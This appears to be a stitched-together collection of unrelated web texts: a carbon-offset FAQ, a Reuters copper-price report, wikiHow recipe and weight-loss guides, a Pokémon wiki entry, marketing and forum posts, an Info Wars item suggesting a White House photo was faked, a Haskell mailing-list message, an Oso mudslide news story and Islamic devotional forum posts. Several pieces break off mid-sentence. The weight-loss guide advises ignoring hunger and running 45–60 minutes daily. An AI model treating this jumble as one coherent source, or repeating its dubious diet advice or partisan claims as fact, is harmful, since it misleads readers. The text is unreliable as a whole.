atmosfair for public institutions and non-profit companies
As a public institution, can I offset CO2?
Yes. However, the accounting must be completed in compliance with the law. If you have already established a special budget item for climate protection, it should be easily possible to offset with atmosfair. If this is not the case and you would like to bill your offsetting as part of your travel expenses, we request that you contact us so that we can explain the correct procedure.

We've seen full screen images becoming more and more popular in web design, but one trend that really stood out to me is the use of black and white photography in some designs. Black and white images have always conveyed more emotion than a full colour photo, and that continues when it's implemented into the header or background of a website design. This post rounds up a showcase of 20 websites all featuring monochromatic photography as part of their layout and design.

LONDON (Reuters) - Damage to copper demand from Europe's debt crisis is likely to hurt prices of the metal, but that could be a buying opportunity because the market is tight and consumption in top consumer China is still strong.
But some think a weak U.S. housing market and a prolonged period of turmoil in Europe could wreck longer-term prospects for the metal used widely in power and construction.
The short-term worry for investors is that Europe's debt problems, triggered by Greece, could create a global liquidity crisis similar to that seen after the collapse of Lehman Brothers in 2008, with knock-on effects for economic growth.
"With Greece and things like that there is potential for more downside ... But beyond three months through to the end of the year we could easily see $7,500," said Michael Banks, analyst at fund manager Hermes Commodities.
"China is planning to build 6 million units of social housing, that will continue to sustain copper demand even in the face of rate hikes and policy tightening," Banks said.
Hermes Commodities does not rule out copper rising to a record high later this year.
Perceptions of stagnant Chinese demand combined with European chaos last week helped push the copper price down to $6,415 a tonne -- a fall of nearly 20 percent since the year high above $8,000 a tonne seen mid-April.
The metal hit a record high of $8,940 a tonne on July 2, 2008. Benchmark copper on the London Metal Exchange was trading at around $6,900 a tonne on Thursday.
Credit downgrades for Greece, Spain and Portugal and worries about sovereign default have hit the euro, which is hovering near recent four-year lows.
"Most of the smart money we speak to says the euro could very easily go below $1.20," said Randy North, a base metals trader at RBC Capital Markets. "If that happens, you'll probably see base metals testing the lows they hit last week."
A stronger U.S. currency makes commodities priced in dollars more expensive for holders of other currencies.
Some expect to see the single currency at parity against the dollar within the next year.
"I wouldn't be surprised to see the copper price with a '5' in front of it, but it won't stay there for too long," said Robin Bhar, analyst at Credit Agricole, adding that robust Chinese demand over coming years would underpin copper prices.
China is said to account for between 30 and 40 percent of global consumption estimated at around 19 million tonnes this year.
Moves by China to slow growth and rein in price pressures have spooked the market, one reason why Chinese imports of refined copper fell in April.
"Inflation concerns have seen China impose restrictions on bank lending. We are trading copper tactically from the short side," said John Brynjolfsson, chief investment officer at fund manager Armored Wolf.
"Housing in the developed world is going to be flat on its back for some years, if not decades ... There is speculation that consumer spending in the U.S. has been driven by homeowners spending their mortgage payments."
That could mean a rise in the rate of repossessions in the United States, the world's largest economy and second-largest copper consumer, despite recent data showing signs of economic stabilisation, perhaps even recovery.
However, others are more confident that when the market is freer of speculators, robust fundamentals will be more obvious.
Looking at the open interest on copper contracts -- down at around 270,000 lots or 6.76 million tonnes from about 290,000 lots or 7.23 million tonnes in the middle of April -- that awareness could come sooner rather than later.
"Sometimes price discovery is overweighed by speculative activity," said Shawn Hackett, president of U.S.-based Hackett Financial Advisors. "We are probably getting to an area where supply/demand factors are going to be price supportive."
One of those factors is stocks of copper, which in LME warehouses are down 15 percent since the middle of February to below 480,000 tonnes.
"We will again see large stock drawdowns. The market will move into deficit in the second half of the year," Bhar said.

wikiHow to Make Sugar Free Blueberry Sauce
Want a healthier (and less expensive) alternative to maple syrup? Blueberries and a few other ingredients make it an easy process.
- 2 cups organic blueberries (they can be fresh or frozen)
- Organic is the best option because blueberries retain a lot of the pesticides used to kill insects.
- 1/4 cup of water (Alternatively, use apple or orange juice, if you want it to be a bit sweeter)
- 2 teaspoons of arrowroot powder
- 1 tablespoon water
1In a small saucepan on medium heat, cook the berries and the 1/4 cup of water or juice that you chose.
2Cook for about 5-10 minutes. It should be bubbling.
3While the berries are cooking, slightly smash some of the blueberries with the fork.
4Separately, in a small bowl, stir together the arrowroot and the tablespoon of water.
5Remove the saucepan from the heat.
6Stirring constantly, add the arrowroot mixture into the berry mixture.
7Allow the syrup to cool, and then you can serve it. Be aware that it will thicken as it chills.
8Store in the refrigerator for a few days.

wikiHow to Lose Weight in Time for Vacation
Are you planning an up coming vacation and want to look stunning in two piece bikini. This article will give advice on getting your body beach ready.
1Be realistic about the amount of weight you will be able to lose. A weight loss between 1/2 to 1kg per week is considered healthy.
2Change your diet. The biggest factor in weight loss is diet. For a female to lose weight they need to stick to a diet of 4200-6300kj per day. It is also important to consider the types of foods that are being eaten. A small amount of lean protein such as egg, grilled chicken or fish should be eaten with each meal. Vegetables, fruit, whole grains and low fat dairy are also important.
3Learn to regulate your appetite. Hunger is often a conditioned response to eating. Learn to ignore it. When people think they are hungry they are often only thirsty or eating out of habit. Most hunger in overweight people is psychological.
4Exercise. The next most important factor in weight loss is cardiovascular exercise. To really lose weight you should aim to do 45-60 minutes of running per day. If you can't run due to lack of fitness or health problems you should consider swapping this with cycling, rowing, walking or swimming.
5Step up the exercise. To look really toned and fit you should also consider starting a pilates, yoga or weights class. By doing 1-3 classes per week you will not only be thin but flexible and toned.

Check BNN and Bulbanews for up-to-date Pokémon news and discuss it on the forums or in the Bulbagarden Discord server.
Susie (Japanese: ユキ Yuki) is a famous Pokémon Breeder, who is adept at releasing a Pokémon's inner beauty and health.
In the Anime
In Kanto, Brock took Ash and Misty to Scissor Street, a district of salons and supply stores geared towards Pokémon Breeders. Brock finally found what he was looking for - Susie's salon. Brock tried to introduce himself, but was too shy.
Misty noticed Susie's Vulpix and tried to pet it, but ended up getting burned by the tempermental Pokémon's attacks. Susie explained that Vulpix didn't like being handled by strangers.
Brock finally got up the courage to introduce himself and asked for Susie to make him her student. A confused Ash asked Brock why he'd want to do that.
Brock gushed that Susie was an trophy winning Breeder for the past three years, was often featured as "Most Popular" in magazines, and had a popular website. He also said that her Vulpix was like the supermodel of the Pokémon world.
Susie turned Brock down, saying that she was just too busy to take on students. Susie invited everyone to lunch, where she noted Pikachu's healthy coat. Brock hapily announced that he personally prepared the mouse's food. Vulpix ate some of Pikachu's food, and Brock was so flattered and honored by this that he slammed his head into the table why bowing before the Fire-type Pokémon.
Misty brought up the topic of some flashy Pokémon they had seen on Scissor Street, and Susie explained that they were customers of Salon Rocket, a flashy beauty parlor that had been attracting all of Susie's usual customers. Apparently, making Pokémon look flashy was a new fad that had been taking the area by storm. Ash doesn't like the idea of dressing up Pokémon. An angered Misty said the idea was great, and decided to take her Psyduck over to the rival parlor just to spite Ash.
Susie said that she usually put emphasis on substance over style, but she had began to question her meathods when Salon Rocket had began to rise in popularity.
Ash and Brock tried to cheer her up, insisting that she was really good. Ash and Brock decided to organize a lecture for Susie, where she demonstrated massage on Pikachu. Susie explained that close personal relationships with Pokémon were the most important thing in raising them.
The lecture drew a lot of customers away from Salon Rocket, leaving only Misty and Psyduck left. It turned out Salon Rocket was actually a front for Team Rocket, who decided to hold Misty hostage to try to get Pikachu.
Psyduck, however, escaped and ran back to Susie's salon to get help.
Angered, Susie made a long speech about inner beauty being more important than outer beauty. Ash and Brock had Pikachu and Geodude battle Team Rocket. Susie finished things by having Vulpix blast the villains off with a Fire Spin.
Susie was impressed with the way Brock handled his Pokémon in Battle and thanked him for helping her restore her faith in her methods. Susie thought that Brock had taught her a lot, and that she wasn't ready to be anyone's teacher. She decided to shut down her salon and go on a journey of her own.
Since Brock was the first person other than herself that Vulpix liked, Susie decided that Brock should take care of it, as he might be able to raise it better than her.
This listing is of Susie's Pokémon in the Pokémon anime.

Profile: A serial winner in three-day eventing and a man who has been bred to the sport, Fox-Pitt has never won gold at the Olympic Games
"We would rather have William competing on a bicycle than not at all," Yogi Breisner, the manager of the Great Britain eventing team, said of William Fox-Pitt earlier in the year when discussing his likely team for London 2012.
Happily there was never a question of resorting to pedal power. Fox-Pitt, 43, the world No 1 and a key member of the senior Britain three-day event team since 1993, had six horses qualified for London 2012, a record in the sport. "He's the complete package," Breisner says of his star rider. "An all-round horseman who excells in each discipline."
It helps that he was bred to the sport — his mother, Marietta (nee Speed), competed in the 1964 World Championships and both parents (his father, Oliver,…

How much branding is too much?
Every time we meet with a client whether they are new or old, we always discuss their keyword targets and their online branding as it exists. The error that seems to consistently crop up is when you try and be to precise with your targets. Branding is a great marketing tool and to be easily and quickly recognizable is great, but there is such a thing as going too far. I'm going to use a tire shop as an example of how branding, while great, can quickly go bad as well.
As the shop owner of ABC Tires you need customers to keep your doors open and you need to market yourself to get those customers. You could go with print, radio, television or online, but you need to pick one. Having the specialty line 123-Z, is a great way to help pull in organic traffic online, as you can build pages and content and optimize them so that they can climb the results pages until you're at the top. When you start to see that increased attention from a brand, and you push all of your focus into it is where you'll actually find your shop starting to flounder in it's use. At the core you are not a 123-Z sales outlet, you're a tire shop and that is the marketing and branding image that needs to be stressed, not a single inventory item.
We have had clients see growth and traction on a specific set of keywords, and have tried to push hard into marketing onto those specific terms. Having a target to aim for is great for our use, because it allows us to tailor your online marketing campaign for your goals. But it can quickly get out of hand if all of the content and design starts to reflect only a single term. Diversity in your keyterms and in your marketing is vastly important, as you can actually lose traffic and conversions by being to exacting. You can't see the forest through the trees if you focus only on your branded terms because they get the most conversions. While you want to be the first site that shows up for your company's names in Google SERPs, you also want to be present for other search queries. Don't be afraid to diversify your keyword strategy – you might find that with a few tweaks to your keyword strategy that a whole new world of customers lies just beyond the search engines, looking for you and what you have to offer.

Just in the process of specc'ing out my new bike.
It's like to be an Intense Carbine with Fox 36 160mm forks.
Most of my riding is in the Scottish highlands on natural trails, but I am also going to be using the bike for trail centres and the Innerleithen winter enduro series.
Can't decide on wheels though.
Definitely Hope Pro II Evo hubs but can't decide between the Stans Flow and Arch EX rims.
Has anyone got any experience of either?

(Info Wars) – A Connecticut based toy company has taken a satirical shot at Obama's 'skeeter' comments, and the subsequent picture that was hastily released by the White House to verify that the president goes shooting "all the time", by releasing a rifle toting doll of the President.
Priced at $19.95, the doll Obama, produced by Herobuilders.com, wears tan slacks and a white T-shirt with the words "Clay pigeons" printed on it.
The big question is, will these toys be banned from schools around the country as part of the purge on toy guns, gun hand gestures and even pictures of guns?
As we reported earlier this week, detractors accused the White House of blatantly attempting to make the President appear sympathetic to gun owners by concocting a story that Obama likes to shoot clay pigeons with a skeet rifle.
After saying he liked to skeet shoot, Obama told a crowd of reporters that he had "a profound respect for the traditions of hunting that trace back in this country for generations."
Days later when the White House released the picture, some suggested that the photo was faked, and pointed out that reports from August 4, 2012, his 51st birthday, the day that the picture was supposedly taken, indicated that Obama did not take part in any kind of shooting activity.
Reuters Report Contradicts Obama Skeet Shooting Photo 040213skeet
Further reports suggested that Obama did indeed shoot clay pigeons on two occasions, according to a source who was present at the Camp David retreat. However, the source noted that "The only time he shot skeet was for President's Cup," a shooting competition tradition involving the presidential Marine guards.
"I was there. He stayed for about five minutes, and couldn't leave fast enough… He couldn't have been more uncomfortable." the source added.


text: Hi David. I see that its useful to add complete type signatures without letting the compiler add stuff magically. This is why I've tried to write the final question down under a new topic wether it would be useful to be able to write down partial type signatures where browsing coders know that they are not complete... (Scroll down to see my answer) When introducing a new concept ( partially typed functions ) we don't have to discuss wether type signatures are useful. I will indicate this incomplete type signature by adding [...] at the end. > type we wrote down. Imagine that print is in a library and a user's > browsing the source of this library. They see the print function and > try to use it on something that doesn't satisfy the Show constraint. > The compiler bombs out with 'Cannot find Show instance' and the user > is confused. Every haskell newbe will be confused by any error message ;) But the haskell programmer will only be confused the first time *lol* Then he knows how to handle it. > print :: Show a => a -> IO () > print x = show x > > If we hadn't written that type signature, then the compiler would > infer a type and accept the program. Aeh. Was this really the issue talking about wether its useful to write down type signatures or writing down incomplete signatures users not knowing them beeing incomplete? Talking about: print x :: a -> IO () [...] print x = show x the compiler would not have compiled this in any case.

When looking at types (when browsing instances (2)) I'm always looking at the class type declaration (1) as well. So in my given example class (Monad m) => ... I would have seen it anyway. I could only think of one example where omitting the (Monad m) => part might be useful: You have a class providing a function match regex subject = ... and two implementations returning (before, match, after) or (match) Then you might want to write show3 :: (a,a,a) show3 = show te use show3 to select the right implementation. But in this case it is more convinient to write show3 a@(_,_,_) = show a So I'm totally convinced that we don't need new language features.. Marc

Your Views for July 30
On behalf of Service Printers Hawaii, I would like to apologize to the voters of District 2 (state representative and Hawaii County Council), Hawaii County Council candidate Aaron Chung and Workers for a Better Hawaii.
On Friday, July 25, we inadvertently mailed Workers for a Better Hawaii endorsement mailer for candidate Chung to residents of State House District 2, instead of Hawaii County Council District 2. Please accept our apologies for any inconvenience or confusion this oversight might have caused.
Bruce Inouye,

A sticky problem
So they want you to vote. We are an elderly couple living with a physically handicapped daughter. For us, absentee voting is a blessing.
Our ballots arrived on time. Thank you. Unfortunately, the envelopes for the ballot and return must have been laying in a hot warehouse.
They were completely dried shut! Whatever happened to quality control?

Mukilteo finds ways to help in Oso mudslide aftermath
The tragedy in Oso has reached south to Mukilteo, prompting first responders here to help bring solace to a community in pain.
Mukilteo firefighters and the police chaplain were called north to help in the aftermath of the massive mudslide on March 22 near Oso, a close-knit town of 180.
Mukilteo Assistant Fire Chief Brian McMahan and Mukilteo Police Chaplain Pat Ward were among the more than 300 first responders from Snohomish County to help those in Arlington, Darrington and Oso who lost everything under 40 feet of mud in a matter of seconds.
Firefighters from the Mukilteo Fire Department covered 911 calls in Arlington the day of the slide and have provided aid to search and rescue workers this week, McMahan said.
McMahan was called out to Arlington around 2 p.m. on March 22 to help, and has been back to Darrington nearly every day since disaster struck. He's seen the devastation.
"It looks like everything was thrown up in to a blender and thrown out," McMahan said. "It just looks like everything got mixed up with everything else."
McMahan is serving as a public information officer. He had his first day off Sunday. Come Monday, he was back in Darrington.
He works closely with Darrington Mayor Dan Rankin to keep those affected by the slide in the know.
With limited phone and Internet, McMahan said sharing information has been a challenge. He posts updates to bulletin boards throughout town and holds daily meetings at the Darrington Community Center.
"It's a very small community, so most everyone knows everyone. They're all affected, and they're trying to help out. Everybody wants to know what's going on.
"Some people, all they can do is go to the boards and read the latest update. They've lost loved ones, and they want to know what to do."
McMahan said Rankin will take a call from any Darrington number, no matter what time it is.
"Mayor Dan Rankin is a phenomenal man," McMahan said. "For being thrown into something he's never done before, he has done an amazing job. He has the whole town tugging at him, 'Hey, I need this, I need that.'"
McMahan said when there aren't any updates, he gives out hugs. He said he's seen a lot of hugging going on all over town.
"It's a pretty emotional thing to see," he said. "They're lost, and sometimes they just need a hug. I can't walk about 10 feet without getting a hug."
Chaplain Pat Ward is in Darrington this week serving as a grief counselor to those in need. She comforts them and prays with them wherever she finds them – at the community center, in the store, on the street.
Ward said Monday she prayed with a woman whose husband is missing.
"Every day is hard for her, every hour is difficult for her," she said.
Many from Darrington are volunteering to help each other in any way they can. They ask what they can do. They cook meals, pass out donations and console their neighbors.
"It's awesome to be there, to be a part of the community, and see how they're all pulling together," Ward said. "Everyone you come across wants to help in some way."
McMahan agrees. He is amazed by the Darrington community.
"It's a very tight-knit, resilient community," McMahan said. "It's one to be a model for America for how a community should come together. They were already close; this just brought them closer.
"It's truly amazing to see what people can do when they come together."
As of Tuesday, the death toll of the mudslide had risen to 27 victims, according to the Snohomish County Medical Examiner's Office. Officially, only 19 have been identified. Twenty-two are still missing.
The search for more victims continues through the one square mile of mud and debris.
Reader boards in Mukilteo show that Oso is not far from our minds here: "Oso you are in our thoughts and prayers" reads one off of SR-526. Another in front of the Mukilteo Presbyterian Church reads "Lifting our Oso neighbors in prayer."
As the search continues, many in Mukilteo have been hosting donation drives and fundraisers as a way to help.
"It's a terrible tragedy that I think reminds us to really appreciate the things we have and consider how quickly things can change," Mayor Jennifer Gregerson said. "My heart goes out to all the families."
"I'm really supportive of our firefighters doing what they can to help out in Darrington and Arlington," Gregerson said. "I know someday we might need to call on their help, so it's important to do what we can now for them."

Dealing with the aftermath, lt's learn from this, and prevent future generations from a similiar fate. Just as disease is an imbalance and violation of natural laws, this landslide was a violation of natural laws. The truth is healing and preventative. Again, what caused the OSO mudslide?
Washington State's slippery rules on logging:
"The law allows a lot of bad stuff to happen," Goldman said . . .
No, the law *enables* a lot of bad stuff to happen.
An acquaintance of mine from the UK commented, "Yep, I see it now. This guy performs a brilliant time-lapse analysis using Google, which is definitely something I'll want to do before parking a house. We need to track down the clear-cutters and charge them with mass murder."

Please Allah, or please man?
On the authority of `A`ishah (may Allah be pleased with her) it is reported
that Allah's Messenger (saas ) said:
"Whoever seeks Allah's Pleasure at the expense of men's displeasure, will
win Allah's Pleasure and Allah (swt ) will cause men to be pleased with him.
And whoever seeks to please men at the expense of Allah's Displeasure, will
win the Displeasure of Allah (swt ) and Allah (swt ) will cause men to be
displeased with him." (Narrated by Ibn Hibban in his Saheeh)
The Prophet (saas ) informs us in this Hadith that whoever sought Allah's
Pleasure by obeying His Commands and abstaining from all of that which He
has prohibited, without caring whether or not he pleased others and without
paying heed to their insults and oppression, will achieve Allah's Pleasure
and He will place love for that person in the hearts of mankind; but as for
him who tried to please the people at the expense of his Religion, he will
incur the Wrath of Allah (swt ), Most Glorified, Most High, and He (swt )
will place hate of that person in the hearts of the people as a punishment
for him because of his bad intentions - one only has to look at the present
situation in the Muslim world to see the truth of this.
Benefits Derived From This Hadith
1. Confirmation of Allah's Divine Attribute of Pleasure.
2. That adhering strictly to the tenets of the Religion will result in
Allah's Pleasure.
3. The forbiddance of hypocrisy in religious matters.
4. Confirmation of Allah's Divine Attribute of Anger.
5. That hypocrisy in religious matters results in Allah's Anger.
6. That the love or hate in the heart is in Allah's Hands.
Relevance of This Hadith to the Subject of the Chapter
That it proves the forbiddance of abandoning obedience to Allah (swt ) due
to fear of others or seeking to please them.
Relevance of This Hadith to the Subject of Tawheed (Tawheed means to single
out Allaah with all forms of worship, so that you make all of your worship
for Allaah alone.)
That the Hadith proves the obligation to fear Allah (swt ), Alone; this
proves that fear is a form of worship and directing worship to other than
Allah (swt ) is shirk (The opposite of tawheed is 'Shirk' which is to
associate partners with Allah by giving that which belongs to him, to

Dissociation of the heart from the worldand constant reflection of
Despite the fact that man is in the world and is part and parcel of
this material world, it is essential for his spiritual progress that
his heart remains dissociated from the world and associated with the
Aakhirah. It is necessary that man at all times reflects on the
Aakhirah. Allah Ta'ala has created us for a specific purpose, viz.,
His remembrance. We are to spend a short while in this transitory
abode and then pass onto our next phase of life in our onward
journey towards Allah Ta'ala. It is thus imperative that the heart
of man does not cling to this world even though he physically is
constrained to participate in mundance activities. Along with
emptying his heart from worldly love, he has constantly to reflect
and remind himself about the Aakhirah. This attitude will produce
strength in the heart. Deen will become solidified and the Imaan in
the heart will start to glow.
For attaining firmness of Imaan, it is necessary that one endeavours
to meditate on the worthlessness of this world. Reflection is
necessary. Always ponder on the fact of this earth being perishable
and will one day pass into non-existence. Ponder especially on the
shortness of one's own life. How swiftly the time flies by. Soon
will one be called into the presence of Allah Ta'ala and a reckoning
will be demanded. Reflect on the wonders and the everlasting nature
of the Life Hereafter. Once maut (death) arrives and in relation to
man maut arrives with great swiftness all the events of the period
after death will occur in rapid succession. The athaab (punishment)
in the grave, the reckoning and the torment in Qiyaamah, Jannat,
Jahannum, Siraat, reward and punishment are all things on which it
is necessary that the Mu'min reflects continuously. Constant
reflection on these issues will produce firmness of Imaan and the
realization of the futility of this ephermeral life and the reality
and permanence of the akhirah will dawn on one. The Imaan and
intelligence of the Mu'min will then disern actual truth and operate
from an elevated platform.
Some narrations in regard to this subject will now be related.
1. Allah Ta'ala says in the Qur'aan Shareef:
"Alluring (and adorned) has been made for mankind the love of
desires regarding women, sons, mounds of gold and silver,
beautifully marked horses, other grazing stock and farms. (But)
these are things for use in this worldly life. And, by Allah is a
beautiful end. Say (O Muhammad!): Shall I inform you of that which
is better than these things? For these who fear (their Rabb) are
such Gardens by their Rabb, beneath which flow rivers; therein will
they dwell forever; (and for them therein) will be pure wives and
(greatest of all) The Pleasure of Allah. Allah is the Overseer of
His servants."
(Aayat 15, Aal Imraan)
2. Allah Ta'ala says in the Qur'aan Shareef:
"Whatever you have (of worldly possessions) will (one day) come to
an end, (But) whatever is with Allah will remain forever."
(Surah Nahl)
3. "Wealth and children are a glitter of this world. And, righteous
deeds which remain forever are best by your Rabbfor obtaining
thawaab and best for (pinning) hopes."
(Sura Kahf)
4. "Know (and understand well) that, verily, the life of this world
is (but) play, amusement, adornment, mutual pride (vieing with one
another in material possession and worldly pomp) and mutual rivalry
in accumulating wealth and children. In the Hereafter is a dreadful
punishment (for the rebellious ones) and (for the people of Imaan)
will be forgiveness and pleasure from
(Surah Hadeed)
5. "You prefer the worldly life (to the Aakhirah) whereas the
Hereafter is best and everlasting."
(Surah A'laa)
6. Hadhrat mastoor Bin Shaddaad (radiallahu anhu) narrates that
Rasulullah (sallallahu alayhi wasallam) said:
"I take oath by Allah (and any) that the similitude of this life
with the Aakhirah is like the (quantity of) water which remains on
the finger after it was dipped into the sea."
The insignificance of this world in relation to the Aakhirah is
described in this hadith. What quantity of water will there be on
one's finger which has been withdrawn from the sea after having
dipped it in? Whatever comparison that slignt bit of moisture on
one's finger has with all the water in the oceans of the earth, that
is the relation or comparison of this world with the Aakhirah. The
worthlessness and insignificance of this worldly life in relation to
the wonderful and everlasting life in the Aakhirah is quite apparent
from this hadith.
`7. Hadhrat Jaabir (radiallahu anhu narrates that Rasulullah
(sallallahu alayhi wasallam) once on passing by a dead goat,
said: "Who among you desires to obtain this dead and decomposing
goat for the price of a dirham (a silver coin)?"
The people said: `We do not desire it for anything (leave alone a
Rasulullah (sallallahu alayhi wasallam) said:
"I take oath by Allah that the world is more contemptible to Allah
that what this (dead) goat is to you."
8. Hadhrat Sahl Bin Sa'd (radiallahu anhu narrates that Rasulullah
(sallallahu alayhi wasallam) said:
"If the world had the value of even the wing of a mosquito by Allah,
He would not have given any kaafir even a drink of water." (Tirmizi,
Ibn Majah)
9. Hadhrat Abu Musa (radiallahu anhu) narrates that Rasulullah
(sallallahu alayhi wasallam) said:
"Whoever love his world will harm his Aakhirah and whoever loves his
Aakhirah will harm his world. Therefore, give preference to the
abode which will be everlasting (i.e. Aakhirah)." (Ahmad, Baihaqi)
10. Hadhrat Ka'b Bin Malik (radiallahu anhu) narrates that
Rasulullah (sallallahu alayhi wasallam) said:
"Two Hungary wolves let loose in a flock of sheep do not cause so
much damage to the flock as does the love of wealth and vanity cause
to one's Deen." (Tirmizi,
Love of wealth and vanity or the desire for greatness and glory are
spiritually destructive forces. They bring total ruin to one's Deen.
Love of wealth drives one to indulge in all sorts of unlawful
activities which utterly ruins one's Deeni life. The desire for
name, fame and glory brings in its wake much corruption, hatred,
revenge and other bestial qualities which also wreck one spiritually
and harm one's worldly life considerably.
The desire for rank and position is evil. However, if high rank
comes to one without hankering after it, then it will be a ni'mat
from Allah Ta'ala. In this regard Hadhrat Abu Hurairah (radiallahu
anhu) narrates that Rasulullah (sallallahu alayhi wasallam) said:
"Allah Ta'ala will say to a man on the Day of Qiyaamah:
`What! Did I not bestow leadership on you?"
In the Qur'aan Shareef, Allah Ta'ala states:
"And, he (Nabi Musa) was (given) by Allah dignity."
(Surah Ahzaab)
"And, he (Nabi Isa) was (given) dignity on earth and in the
Aakhirah." (Surah Aale Imraan)
From these narrations it is clear that rank, dignity and honour, if
forth coming from Allah Ta'ala, are favours which have to be
appreciated. Nabi Dawood and Nabi Sulaimnan (alayhimas salaam) were
even granted vast kingdoms. This was a great bounty from Allah
Although it is improper to desire for rank and position for worldly
and nafsaani motives, there is nothing wrong if such desire is
motivated purely for Deeni purposes to render service to the Deen as
was the case with Nabi Yusuf (alayhi salaam) who expressed the wish
to be put in charge of the treasury of the land. However, it is not
for everyone to express the wish for high posts and ranks. Inspite
of such wishes being permissible if based on sincere motives, there
is always the danger of spiritual corruption overtaking one.
11. Hadhrat Abu Hurairah (radiallahu anhu) narrates that Rasulullah
(sallallahu alayhi wasallam) said:
"Whoever had control over even ten persons (on earth) will be
ushered (into the Divine Court) in such a way . That (if he had
committed any injustice upon his subjects) his injustice will
destroy him." (Daarmi)
The grave danger attendant to leadership should thus be realized
from this hadith.
12. Hadhrat Ibn Mas'ood (radiallahu anhu) narrates that once
Rasulullah (sallallahu alayhi wasallam) slept on a mat. The imprint
of the mat had formed on the mubaarak (auspicious) body of Nabi-e-
Kareem (sallallahu alayhi wasallam). Ibn Mas'ood (radiallahu anhu)
then said:
"O Rasulullah! Grant us permission to prepare a (comfortable) bed
for you."
Rasulullah (sallallahu alayhi wasallam) said:
"What relationship have I with the world? My similitude with the
world is like a traveler with a tree under which he halts after a
tiresome journey. He halts a while under the shade of the tree and
then leaves it again to continue his journey."
(Ahmad, Tirmizi)
13. Hadhrat Aishah (radiallahu anha) narrates that Rasulullah
(sallallahu alayhi wasallam) said:
"The world is the abode of a person who has no home; it is the
wealth of the person who had no wealth. He who has no intelligence
accumulates the wealth of the world (i.e. more than what is
(Ahmad, Baihaqi)
14. Hadhrat Huzaifah (radiallahu anhu) narrates that he heard
Rasulullah (sallallahu alayhi wasallam) say in his Khutbah:
"The love of the world is the root of all evil."
(Tazeen, Baihaqi)
15. Hadhrat Jaabir (radiallahu anhu) narrates that Rasulullah
(sallallahu alayhi wasallam) said:
"This world is a continuous journey which recedes (further and
further) while the Aakhirah is a continuous journey which approaches
(nearer and nearer). Both (this world and the Aakhirah) have their
sons. If you can, be not among the sons of the world. Today you are
in the abode of practice (Daarul Amal) and there is no reckoning
here. Reckoning will be for you in the Aakhirah and there will be no
amal (practice)."
16. Hadhrat Ibn Mas'ood (radiallahu anhu) narrates that Rasulullah
(sallallahu alayhi wasallam) recited the following aayat:
(Translation of the aayat):
"Allah Ta'ala expands the breast of the one whom He intends to
guide, so that he accepts) Islam."
Rasulullah (sallallahu alayhi wasallam) then said:
"When Noor enters the breast, it (the breast) expands."
Someone asked: "O Rasulullah! Is there a sign for this?
Rasulullah (sallallahu alayhi wasallam) said:
"Yes. He saves himself from this abode of deception (the world); he
inclines towards the everlasting abode (Aakhirah) and he makes
preparations for the everlasting abode before the arrival of death."
17. Hadhrat Abu Hurairah (radiallahu anhu) narrates that Rasulullah
(sallallahu alayhi wasallam) said:
"Remember much the severer of delights, i.e. Maut." (Tirmizi,
Nisaai, Ibn Majah)
18. Hadhrat Abdullah Ibn Umar (radiallahu anhu) narrates that
Rasulullah (sallallahu alayhi wasallam) said:
"Maut is a gift for the Mu'min."
A gift is an object of pleasantness. The Mu'min should therefore be
pleased with Maut. If there is fear for athaab (punishment) then
arrangements should be made to be protected against such punishment
(which follows after death). The protection against athaab is to be
obedient to the commands of Allah and His Rasool (sallallahu alayhi
wasallam) and to resort to taubah for deficiencies.
19. Hadhrat Abdullah Ibn Umar (radiallahu anhu) narrates that
Rasulullah (sallallahu alayhi wasallam) took hold of his (Ibn
Umar's) shoulders and said:
"Stay on earth as if you are a foreigner or like one walking along
the road."
Like a foreigner longs for his homeland and a traveller is
continuously on the move anticipating a quick arrival home, so too
should be the Mu'min. His heart should never be attached to this
world. His faze must be focused on Jannat, his original and
permanent home. He must prepare himself for his return home.
20. Hadhrat Ibn Umar (radiallahu anhu) would say:
"When evening approaches do not wait for morning; when the morning
approaches do not wait for the evening .." (Bukhari)
21. Hadhrat Baraa' Ibn Aathib (radiallahu anhu) narrates that
Rasulullah (sallallahu alayhi wasallam) said:
"When the Mu'min is about to depart for the Hereafter, Malaaikah
(angels) with glittering faces come to him. They have with them
kafan (burial shrouds) and fragrance from Jannat. Malakul Maut then
arrives and explains (to the dying Mu'min): "O pure soul! Come
towards the forgiveness and the pleasure of Allah Ta'ala . The
Malaaikah (with glittering faces) take possession of the soul and
wrap it in the heavenly kafan and fragrance They proceed with the
(pure) soul upwards. Every group of angles living on earth, by whom
they pass, enquire: ;Whose pure soul is this?' The Malaaikh (in
whose possession the soul is) inform them (the other angels) of the
identity of the person and (in informing them) call the soul by
various beautiful and honouranble titles .. They then reach the
first heaven and the Doors thereof are opened up. The holy Malaaikah
of the first heaven (a group among them) accompany the procession to
the second heaven and the Doors are opened, up. In this way the
procession goes from heaven Allah Ta'ala then orders:
"Enter the Book of Record of My servant in Illeeyeen and proceed
towards the earth with him (for the questioning in the grave by
Munkar and Nakeer)."
The soul is then returned to its body. The angels (Munkar and
nakeer) then come to the person and ask:
"Who is your Rabb?"
The Mu'min replies: "Allah is my Rabb."
They ask: "What is your Deen?"
He replies "Islam is my Deen."
They then ask: "Who is this man who was sent among you?"
He replies: "He is the Nabi of Allah."
A caller than (on the instruction of Allah Ta'ala) calls out from
the heaven: "My servant has spoken the truth. Arrange for him the
comfort of Jannat; Clothe him with the garments of Jannat and open
up on him a window from Jannat. The sweet breezes and fragrances of
Jannat thus come to him .." (Ahmad)
The same hadith continues and narrates the evil and terrible
condition which overtakes the kaafir soul.
After death and in Qiyaamah will occur the following events:
The sounding of the Trumpet (Soor), the resurrection of the dead,
the torments of Qiyaamah, the reckoning, the fortunate will be given
to drink from the Fountain of Kauthar, Punishment in Jahannum for
certain sins (or for those who were not forgiven), intercession for
the people of Imaan, entry into Jannat and the Vision of Allah
These are all things to reflect on so as to creat life in Imaan. If
one is not able to set aside a specific time for such meditation,
then at least when going to bed at night, think about these events..لا نريد زعيما يخاف البيت الإبيض

Re: Please Allah, or please man?
Very nice post, and so very true. So many today forget this important fact.
Strieving to please their neighbors, leaders and some how forgot All is for Allah swt.
The ones you try to please, will not help you to Jannah.
Allah swt is the Only Way to Jannah.

Re: Please Allah, or please man?
amin"O you who believe! Stand out firmly for justice, as witnesses to Allah, even as against yourselves, or your parents, or your kin, and whether it be (against) rich or poor: for Allah can best protect both. Follow not the lusts (of your hearts), lest you swerve, and if you distort (justice) or decline to do justice, verily Allah is well-acquainted with all that you do." [An-Nisa 4:135]
The Prophet said:
